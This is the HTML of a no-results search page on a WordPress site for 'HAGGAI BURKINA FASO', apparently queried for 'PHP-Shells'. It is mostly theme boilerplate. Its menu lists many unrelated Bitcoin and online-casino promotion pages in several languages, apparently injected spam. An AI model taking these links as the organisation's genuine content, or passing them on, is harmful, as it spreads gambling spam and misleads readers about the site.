h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780303556' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
